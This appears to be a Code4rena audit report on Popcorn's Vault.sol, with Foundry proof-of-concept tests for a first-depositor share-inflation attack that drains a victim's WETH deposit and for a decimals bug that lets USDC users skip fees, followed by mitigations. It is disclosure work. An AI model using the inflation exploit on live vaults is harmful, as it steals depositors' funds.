Popcorn contest - CRYP70's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L297-L300

Vulnerability details

Impact

The Vault.sol contract calculates the shares to be distributed by converting assets into shares using the convertToShares() function which relies on the totalAssets() method and the adapter.balanceOf() method of adapter vault tokens on line 286. The first depositor has the ability to manipulate the share value by forcibly transferring adapter tokens to the vault, allowing them to profit from a future user's deposit. This can result in the theft of asset tokens from unsuspecting users. This vulnerability was rated a high in severity due to the frequent deployment of vault contracts by the protocol, which could provide ample opportunities for attackers to exploit the vulnerability if the code is shipped unpatched. Furthermore, the proof of concept exploit code below demonstrates the attacker's ability to recover the full amount of the initial deposit, rendering the attack effectively cheap.

Proof of Concept

The following unit test outlines this scenario:

// SPDX-License-Identifier: MIT

import { Test } from "forge-std/Test.sol";
import "forge-std/console.sol";

// Custom imports
import "./interfaces/IWETH9.sol";

// Vault imports
import { MockERC20 } from "../utils/mocks/MockERC20.sol";
import { MockERC4626 } from "../utils/mocks/MockERC4626.sol";
import { Vault } from "../../src/vault/Vault.sol";
import { IERC4626, IERC20 } from "../../src/interfaces/vault/IERC4626.sol";
import { VaultFees } from "../../src/interfaces/vault/IVault.sol";
import { FixedPointMathLib } from "solmate/utils/FixedPointMathLib.sol";
import "../../src/vault/adapter/beefy/BeefyAdapter.sol";
import { PermissionRegistry } from "../../src/vault/PermissionRegistry.sol";
import { IPermissionRegistry, Permission } from "../../src/interfaces/vault/IPermissionRegistry.sol";



contract MyVaultTests is Test {


    IWETH9 weth;


    Vault wethVault;
    MockERC4626 wethVaultAdapter;


    address wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // Forked mainnet address


    address feeRecipient = vm.addr(1);
    address alice = vm.addr(2);
    address bob = vm.addr(3);
    address eve = vm.addr(4);
    address deployer = vm.addr(5);


    function setUp() public {
        vm.label(feeRecipient, "Fee Recipient");
        vm.label(alice, "ALICE");
        vm.label(bob, "BOB");
        vm.label(eve, "EVE");

        vm.deal(address(alice), 1000 ether);
        vm.deal(address(bob), 1000 ether);
        vm.deal(address(eve), 1000 ether);

        // ================= Deploy WETH Vault Components =================

        weth = IWETH9(wethAddr);

        wethVaultAdapter = new MockERC4626(IERC20(address(weth)), "Mock Weth Token Vault Adapter", "MWTVA");
        
        address wethVaultAddr = address(new Vault());
        vm.label(wethVaultAddr, "WETH Vault");

        wethVault = Vault(wethVaultAddr);
        wethVault.initialize(
            IERC20(wethAddr),
            IERC4626(address(wethVaultAdapter)),
            VaultFees({ deposit: 0, withdrawal: 0, management: 0, performance: 0 }), // Zero fees for example's purposes
            feeRecipient,
            address(this) // Vault Owner
        );

        // ===============================================================
    }



    function testFirstDepositorsAttack() public {
        
        // Setup Scenario
        vm.startPrank(address(eve));
        weth.deposit{value: 101 ether}();
        vm.stopPrank();

        vm.startPrank(address(alice));
        weth.deposit{value: 200 ether}();
        vm.stopPrank();


        // Sanity check balances
        assertEq(weth.balanceOf(address(eve)), 101 ether);
        assertEq(weth.balanceOf(address(alice)), 200 ether);
        


        // Attacker deposits 1 wei of WETH to the vault
        vm.startPrank(address(eve));
        weth.approve(address(wethVault), 1);
        wethVault.deposit(1, address(eve));
        vm.stopPrank();


        // Attacker transfers 100 asset tokens to the contract (manually gets share tokens from adapter, and forcibly transfers to the vault)
        vm.startPrank(address(eve));
        weth.approve(address(wethVaultAdapter), 100 ether);
        wethVaultAdapter.deposit(100 ether, address(eve));

        wethVaultAdapter.transfer(address(wethVault), 100 ether);
        vm.stopPrank();


        // Victim deposits 200 WETH to the contract
        vm.startPrank(address(alice));
        weth.approve(address(wethVault), 200 ether);
        wethVault.deposit(200 ether, address(alice));
        vm.stopPrank();

        // Assert everything is deposited into the adapter correctly
        assertEq(weth.balanceOf(address(wethVaultAdapter)), 300000000000000000001);

        // Attacker proceeds to steal alice's shares - doubles in profit
        vm.startPrank(address(eve));
        wethVault.approve(address(wethVault), 1);
        wethVault.withdraw(299 ether, address(eve), address(eve));
        vm.stopPrank();
        

        // Eve has effectively stolen alice's entire deposit
        // and managed to recover the funds originally transferred to the wethVaultAdapter
        assertEq(weth.balanceOf(address(eve)), 299999999999999999999); 
        

    }

}

Tools Used

Manual Review

Recommended Mitigation Steps

• It's recommended that the vault first transfers 1000 wei worth of vault shares to the zero address or an address in Popcorn's control in order to prevent this attack from happening as the attack becomes way too expensive for attackers (1000 * the initial supply of tokens). This is how UniswapV2 fixed this issue.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L526-L531 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L144 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L183 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L224 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L265 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L330 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L345 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L367 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L389

Vulnerability details

Impact

Currently, the vault allows the users initializing the vault to specify vault fees for depositing, withdrawing, management and performance. When fees are calculated, the vault assumes that the asset token is of 1e18 decimal places however, common stable coin tokens such as USDC or USDT are of 1e6 decimal places. This was rated a medium in severity because if the vault was deployed as is, this could mean that vault fees can be avoided by users entirely resulting in a loss of profit for fee receivers.

Proof of Concept

Consider the example vault in the unit test below which uses USDC as the asset token. The test asserts that no vault fees are paid and share tokens received are exactly the same when vault fees are set to 100 as seen in the unit tests, the user should have received 1499850000 shares back instead of the full amount after fees are deducted.

// SPDX-License-Identifier: MIT

import { Test } from "forge-std/Test.sol";
import "forge-std/console.sol";

// Custom imports
import "./interfaces/IWETH9.sol";

// Vault imports
import { MockERC20 } from "../utils/mocks/MockERC20.sol";
import { MockERC4626 } from "../utils/mocks/MockERC4626.sol";
import { Vault } from "../../src/vault/Vault.sol";
import { IERC4626, IERC20 } from "../../src/interfaces/vault/IERC4626.sol";
import { VaultFees } from "../../src/interfaces/vault/IVault.sol";
import { FixedPointMathLib } from "solmate/utils/FixedPointMathLib.sol";
import { PermissionRegistry } from "../../src/vault/PermissionRegistry.sol";
import { IPermissionRegistry, Permission } from "../../src/interfaces/vault/IPermissionRegistry.sol";

contract MyVaultTests is Test {

    IERC20 usdc;


    Vault usdcVault;
    MockERC4626 usdcVaultAdapter;
    
    address usdcDoner = 0x7713974908Be4BEd47172370115e8b1219F4A5f0;
    address usdcAddr = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;


    address feeRecipient = vm.addr(1);
    address alice = vm.addr(2);
    address bob = vm.addr(3);
    address eve = vm.addr(4);
    address deployer = vm.addr(5);


    function setUp() public {
        vm.label(feeRecipient, "Fee Recipient");
        vm.label(alice, "ALICE");
        vm.label(bob, "BOB");
        vm.label(eve, "EVE");

        vm.deal(address(alice), 1000 ether);
        vm.deal(address(bob), 1000 ether);
        vm.deal(address(eve), 1000 ether);

        // ================= Deploy USDC Vault Components =================

        usdc = IERC20(usdcAddr);

        usdcVaultAdapter = new MockERC4626(IERC20(address(usdc)), "Mock USDC Token Vault Adapter", "MUTVA");
        address usdcVaultAddr = address(new Vault());
        vm.label(usdcVaultAddr, "USDC Vault");

        usdcVault = Vault(usdcVaultAddr);
        usdcVault.initialize(
            IERC20(address(usdc)),
            IERC4626(address(usdcVaultAdapter)),
            VaultFees({ deposit: 100, withdrawal: 100, management: 0, performance: 0 }), // 100 deposit and withdrawal fee as observed in unit tests
            feeRecipient,
            address(this) // Vault Owner
        );
        // ===============================================================

    }


    function testIncorrectFees() public {
	// Setup scenario by transferring some USDC to alice's address
        vm.startPrank(address(usdcDoner));
        usdc.transfer(address(alice), 1500*1e6);
        vm.stopPrank();

	// Start Scenario 
        vm.startPrank(address(alice));
        usdc.approve(address(usdcVault), 1500*1e6);
        usdcVault.deposit(1500*1e6);
        vm.stopPrank();


        assertEq(usdcVault.balanceOf(address(alice)), 1500*1e6); // Assert full balance was transferred to vault

        vm.startPrank(address(alice));
        usdcVault.approve(address(usdcVault), usdcVault.balanceOf(address(alice)));
        usdcVault.withdraw(1500*1e6, address(alice), address(alice)); // Perform withdrawal
        vm.stopPrank();

        assertEq(usdc.balanceOf(address(alice)), 1500*1e6); // Assert that not a single token was taken as fees

    }

}

Recommended Mitigation Steps

This can be fixed in a couple of ways: The first option is to implement an interface that is is included in the Vault.sol contract file which specifically returns the number of decimals a token uses:

interface IDecimals {
    function decimals() external returns(uint256);
}

This interface can be used whenever the developer needs to dynamically use the decimals for a particular token. Fee calculation can be done by using the interface instead of hardcoding 1e18 similarly to the following:

        uint256 feeShares = convertToShares(
            assets.mulDiv(uint256(fees.deposit), 10**IDecimals(address(asset)).decimals(), Math.Rounding.Down)
        );

The second option is to deduct the desired fees from the vault shares after calculation and minting.